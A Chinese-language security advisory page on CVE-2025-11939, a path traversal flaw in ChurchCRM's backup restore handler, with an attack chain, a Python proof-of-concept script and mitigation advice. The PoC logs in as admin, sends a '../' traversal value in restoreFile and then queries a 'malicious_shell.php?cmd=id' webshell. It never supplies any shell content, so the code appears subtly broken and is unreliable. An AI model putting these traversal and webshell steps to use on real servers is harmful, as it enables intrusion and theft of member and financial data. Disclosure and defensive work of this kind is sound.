IPBUF安全漏洞报告
English
CVE-2025-11939 CVSS 4.7 中危

CVE-2025-11939 ChurchCRM 备份恢复组件路径遍历漏洞

披露日期: 2025-10-19

漏洞信息

漏洞编号
CVE-2025-11939
漏洞类型
路径遍历(Path Traversal)
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

路径遍历Path TraversalChurchCRMCVE-2025-11939备份恢复远程代码执行RCEPHP中危漏洞权限提升

漏洞概述

CVE-2025-11939是ChurchCRM 5.18.0及以下版本中存在的一个路径遍历(Path Traversal)漏洞。该漏洞位于ChurchCRM的备份恢复组件中,具体涉及文件src/ChurchCRM/Backup/RestoreJob.php的RestoreJob处理逻辑。攻击者可以通过操控restoreFile参数,利用路径遍历技术访问或操作服务器上的任意文件,从而可能导致远程代码执行(RCE)。该漏洞的CVSS 3.1评分为4.7,属于中危级别,攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能利用,无需用户交互(UI:N)。该漏洞对机密性、完整性和可用性均存在低级别影响。值得注意的是,该漏洞已被公开披露,并且存在公开的利用方式(PoC),尽管安全研究人员曾提前通知厂商,但厂商未对此做出任何回应,这进一步增加了使用受影响版本的用户面临的安全风险。ChurchCRM是一款开源的教会管理CRM软件,广泛用于教会成员管理、活动安排、捐赠跟踪等场景,因此该漏洞可能影响大量教会组织的敏感数据安全。

技术细节

该漏洞的核心问题在于ChurchCRM备份恢复组件RestoreJob.php对用户可控的restoreFile参数缺乏充分的路径验证和过滤。具体技术原理如下:

1. **漏洞位置**:src/ChurchCRM/Backup/RestoreJob.php文件中的Backup Restore Handler组件处理restoreFile参数时,未对传入的文件路径进行规范化或白名单校验。

2. **漏洞原理**:攻击者可以构造包含目录遍历序列(如../或..\)的恶意文件路径作为restoreFile参数的值。当应用程序使用该参数拼接文件路径进行文件操作(如读取、写入、恢复)时,攻击者可以突破预期的目录限制,访问或操作Web服务器文件系统中的任意位置的文件。

3. **利用方式**:由于备份恢复功能通常涉及将文件写入服务器,攻击者可以通过路径遍历将恶意文件写入Web可访问目录,进而实现远程代码执行。例如,构造restoreFile参数为类似`../../web/uploads/shell.php`的形式,可能将恶意PHP文件写入Web目录。

4. **权限要求**:漏洞利用需要高权限(PR:H),这意味着攻击者需要先获取ChurchCRM系统的管理员或具有备份恢复权限的账户凭证。

5. **攻击影响**:成功利用该漏洞可能导致敏感文件泄露、任意文件写入/覆盖,最终实现远程代码执行,完全控制受影响的服务器。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者通过钓鱼、暴力破解或购买泄露凭证等方式,获取ChurchCRM系统管理员或具有备份恢复权限的用户账户凭证。
STEP 2
步骤2:登录系统
使用获取的管理员凭证登录ChurchCRM系统,建立有效的会话连接。
STEP 3
步骤3:构造恶意请求
访问备份恢复功能,构造包含路径遍历序列的restoreFile参数(如使用../跳出备份目录限制)。
STEP 4
步骤4:触发漏洞
向Backup Restore Handler(RestoreJob.php)发送包含恶意restoreFile参数的请求,利用路径遍历漏洞访问或写入任意文件。
STEP 5
步骤5:实现远程代码执行
通过路径遍历将WebShell写入Web可访问目录,进而获取服务器控制权限,执行任意系统命令。
STEP 6
步骤6:持久化与数据窃取
在服务器上建立持久化后门,窃取教会成员敏感信息、财务数据等机密数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11939 - ChurchCRM Path Traversal PoC # Vulnerability: Path Traversal in Backup Restore Handler (RestoreJob.php) # Affected: ChurchCRM <= 5.18.0 # Author: uartu0 import requests TARGET_URL = "http://target-churchcrm.example.com" USERNAME = "admin" PASSWORD = "password123" # Step 1: Authenticate to obtain session session = requests.Session() login_data = { "User": USERNAME, "Password": PASSWORD, } login_response = session.post(f"{TARGET_URL}/session/begin", data=login_data) print(f"[*] Login status: {login_response.status_code}") # Step 2: Craft path traversal payload via restoreFile parameter # The vulnerability exists in RestoreJob.php where restoreFile is not sanitized # Using ../ sequences to traverse outside the intended backup directory malicious_restore_file = "../../../../../../var/www/html/uploads/malicious_shell.php" # Step 3: Trigger the vulnerable backup restore endpoint restore_payload = { "restoreFile": malicious_restore_file, } restore_response = session.post( f"{TARGET_URL}/admin/backup/restore", data=restore_payload, ) print(f"[*] Restore response status: {restore_response.status_code}") print(f"[*] Response body: {restore_response.text[:500]}") # Step 4: Verify RCE by accessing the uploaded shell shell_url = f"{TARGET_URL}/uploads/malicious_shell.php?cmd=id" shell_response = requests.get(shell_url) print(f"[*] Shell response: {shell_response.text}")

影响范围

ChurchCRM <= 5.18.0

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)限制备份恢复功能的网络访问,仅允许可信IP地址访问管理后台;2)对RestoreJob.php中的restoreFile参数添加路径验证逻辑,过滤../和..\等路径遍历字符;3)使用PHP的basename()函数提取文件名部分,丢弃路径信息;4)将备份目录设置为Web应用无法写入其他目录的权限配置;5)加强管理员账户的安全策略,包括强制使用强密码、启用双因素认证等。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表